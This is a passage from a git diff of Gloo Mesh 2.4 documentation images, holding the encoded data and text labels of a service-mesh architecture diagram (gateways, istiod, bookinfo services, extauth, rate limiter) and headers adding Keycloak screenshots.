AxM1x1MDAxOKZcXPKNXHUwMDAzXG7LnPqb5DFcdTAwMGWohi0lXHUwMDFlYlx1MDAwYptcdTAwMTBXrlx0hUdcdTAwMTaUXHUwMDEwXHUwMDFm81x1MDAwMzZSJt5HXHUwMDBixG3cYi5qXHUwMDExIaSQmiBcZrMjePNcdTAwMDKCuWRcbmHPjVwi0Jxiaf2YidOBwYjUsFx1MDAxZnjz7JRcdTAwMDVrbfoqKilcdTAwMTFosaXZXHRcdTAwMGJWlEtJTYNW0IHEz+KBNpbwJya/zGjO5fGYRPC/XCKwXHUwMDFmgCnVxuGYRTCjipjjL5N5KZdcdTAwMWbWXHUwMDA0kXBcdTAwMGXThs1HlG5cdTAwMWNcdTAwMGVbks+FXHUwMDFhSF9cdTAwMThccvGlrCtlgchFSsHemvNcdTAwMDfJNo5nXHUwMDE4XHUwMDAwbFx1MDAxNFxu1M+R1kJLsTwgSFkgXHUwMDE0pICoYUE2XHUwMDBmXGJC17h7jWg2o4rl9SNcdTAwMTY15Fx1MDAwMiyJtclcdTAwMWLbuH5cYpiNIDCkXGZcdTAwMWJzkyq7PNxcdTAwMTJvXHUwMDEwtZFcXLDF4WuImt5Y5kSPLlx1MDAwZlx1MDAwN7ugsDnrM+mhbOPTglx1MDAxZYRvKlMrQpsj/71cdTAwMDbjXHUwMDE2gfmI+TmOXHRVW/ZYXHUwMDAyW0jJJVx1MDAwMXYxQep448pcdTAwMTFcdTAwMGKZYGtjmClppkmXx+MwOVx1MDAwZVx1MDAxY1x1MDAwNqRJXHUwMDA0rMfm8Vx1MDAwNDfzXHUwMDAyscJMX1x1MDAxNrxcIqWMo1XC82pBqcRcdTAwMWIpXHUwMDE55JBW80B8hFx1MDAxOMWMrY5cdTAwMDc3kyaJXHJoUoBcdTAwMDHpg5Ix5lx1MDAwNIHY1bBcdTAwMTlcbtZqidVMkCCTXHUwMDE0XHUwMDE0vlx1MDAwNlxuZEB+TG4kPlx1MDAxN13zl/3n1kdHXHUwMDAyu2ZcdTAwMDOAzKGab+EyyCVnlVmnf1KvXFxPutf1WFHX5UXUzSZiaeBpjqnZeb7iLlx1MDAwNplgXHUwMDAxR1x1MDAwMb1KhSRw0F52k9aFolNMgGlqg4hJSkRUXHUwMDE5qeJcdTAwMTCos35oZFjT5F19XHUwMDFmXHUwMDFh/aZw0Z0sVv58L1x0XHUwMDAwaMC9/lxmgEqtTKSab1x1MDAxOTDsjGu8nD6L3bRGJ6RyXCLfO4mTQ5qQfmSAyV1cdTAwMDRlJ5VBbGzFZ65cdTAwMTEodm7UjTYxcmo/x6GbXGbAXHUwMDA2ms3xu1x1MDAwMJtcdTAwMWQwi5PzxJJCmSh3+Fx1MDAxZivO8bpccklN7VAwRaPsOfxcdTAwMTZcbntcYlx1MDAwNVNRh1FcdTAwMDOgKJhcdTAwMDWw1XrVoEJcdTAwMDArKFx1MDAwN8tcYlx1MDAxNFx1MDAxYUCgzdBcdTAwMDfQLKBcdTAwMWJAZVx1MDAxYfCPQCsgXHUwMDE0XHUwMDExXHUwMDAzpVx1MDAwMFx1MDAwYlx1MDAwMFx1MDAxOKA+MCimoJdcdTAwMThcdTAwMDNcdTAwMTKm9jjgXHUwMDFmg4FtIbUy6bdcdTAwMDB+NuN3aVx1MDAxOetcdTAwMTCblokwRaHY8mjCvG+ogsMlN1x1MDAwMiiMLTBrgDeYJtKYjiuTM4aHsYlg3Vx1MDAwNFx1MDAxMVx1MDAxYjFcdTAwMWWmlsme0oD4pVx0nWVLSVx1MDAwZlxilpVcdTAwMWJLXHUwMDAwllx1MDAwZfAuI1x1MDAxYiGyu1x1MDAwNDCXQZREkp/1XHUwMDBiXGJYU3rbhFAv/7lA7v5zrYRZry1cdTAwMDJcdTAwMDcuypXj1u1cdTAwMDDFXHUwMDFmW49cdTAwMTfpm2rmOHV8XHUwMDFmdSCoLGPSweqbpJ2VkoBYaWN8SmRcdTAwMTLJkPDyI+7b287iJlx1MDAxOFx1MDAxYvjQ2JiEOFx1MDAxNVxixD9cYlx1MDAwZlx1MDAwYiAxXHUwMDEz1bp+fmSqOJqIxyi7XHUwMDEyo+NEZ1xiu0IgXHUwMDBlolx1MDAwMFx1MDAwMzv6T5IkKFnN6+Lz1ZDWxtlB/WpcdTAwMTivubWtjlxmXHUwMDAy4lx1MDAxNlJcYqxRxU3j+FVcdTAwMDSETaI6YCOQXHUwMDAyYPbb8sc/XHUwMDFmXHUwMDAxwVx1MDAwNI0swiZRiNpcdTAwMGLcf/Sz1kxcYlx1MDAxOCjKoaPfXGJon1J2noAlXHUwMDA2iEUzULmAQUA2Kqo2Olk9MVx1MDAwYoxcdTAwMDfox6TRKOO0RWyja8pcdTAwMTO0XHUwMDE419TcwVx1MDAwNdJcdTAwMWQzUDebvazesFx1MDAwNVx1MDAwNlx1MDAwNMSvXHUwMDE04EG4XHUwMDE18KZcdTAwMGavoydwiZlagFx1MDAxMsZcdTAwMDRON9mTSG2Ead7IXHUwMDA1gFx1MDAwYsX0h0uZXHUwMDE4xaZtXHUwMDAz+lx1MDAwMi6uye3avf6WNIm1XHUwMDAw6LYoZXGuZ5nnp+S0SVx1MDAxMv38eFx1MDAxNJfpkVtcdTAwMGLSXHL1t1ZNxDDr8mhqXHUwMDAxXHUwMDEwoKYtXHUwMDE5/JssO7BcdTAwMDBcdTAwMDdgS1x0+IQog2qVe8BcdTAwMTeAvLIu7lx1MDAwMVxcmGWQuMbASIRw6Vx1MDAwNFxcpCW5qfGpXHUwMDAwXHUwMDEwXHUwMDBi4lBiXHUwMDEwYC1ALPq710+Nnb1dXHR+XHUwMDEyu0jl7uVtXHUwMDAxNS6K+sSuWj6SyWH3pDlQNvmyxklMXHUwMDFkksmZZbQyXGJcdTAwMTU1P2iTvyTUllx1MDAxOe7vlfNEOZMtzsTxOKZ7OMNcdTAwMWbTjvVTTYVBbFx1MDAxY1x1MDAxMFSDNWKgsVqfXHUwMDE0tyhQJFwi1FRbQvjLl+pxo25zrdF1UPJcctuKN6518EGgPFx1MDAxMKy9f2Tq3eMyouVTXHUwMDExXHUwMDA3XHUwMDA1glx1MDAxNNhcXEBpXHUwMDFj0+WsPTCEQV9cdFx0yplcdFNe2L1cXM9exaG5yedVlGFTXHUwMDExnth9hItcYlx1MDAwZm5cIm9cdFx1MDAxMDuAXHUwMDEyrNCadFx1MDAwM7OSULExqO+Ly7a3q1it33qg6ctkhfHO3euwMow5iVx1MDAxMWTS1Vx1MDAwMMhrsKgpTMBWXGZ/IUaMqWtcbntI031ULU7gt5RtW1x1MDAxNKyeY0ZjRVx1MDAwMO9hunRcdTAwMDK9qJ5cbqKPc9NcdTAwMWLA1FdFdG1SX0m2udP2j09XqDo42aZd21x1MDAxZZlq4Fxcb+Vy8u5cdTAwMGJcdTAwMWNR2Vx1MDAwNpDYXHUwMDAyYExcdTAwMThiJqmXrMk2Y+8yQ2uYglx1MDAwNeJcdTAwMGXe9pJtjFx1MDAwMUQkXHUwMDFjkFx1MDAwMzHVdFx1MDAxY1willxyiVx1MDAwMIbkWHKgXHUwMDAwXHUwMDEwyWvAjVx1MDAxMID/mm48jPziwu38garkdb1+r1HqOXVcdTAwMTnDT13ccsFI1FRqXHUwMDEyYGWZwCFcImyHd1x1MDAwYowkiEHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/platform/2-4/default/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + 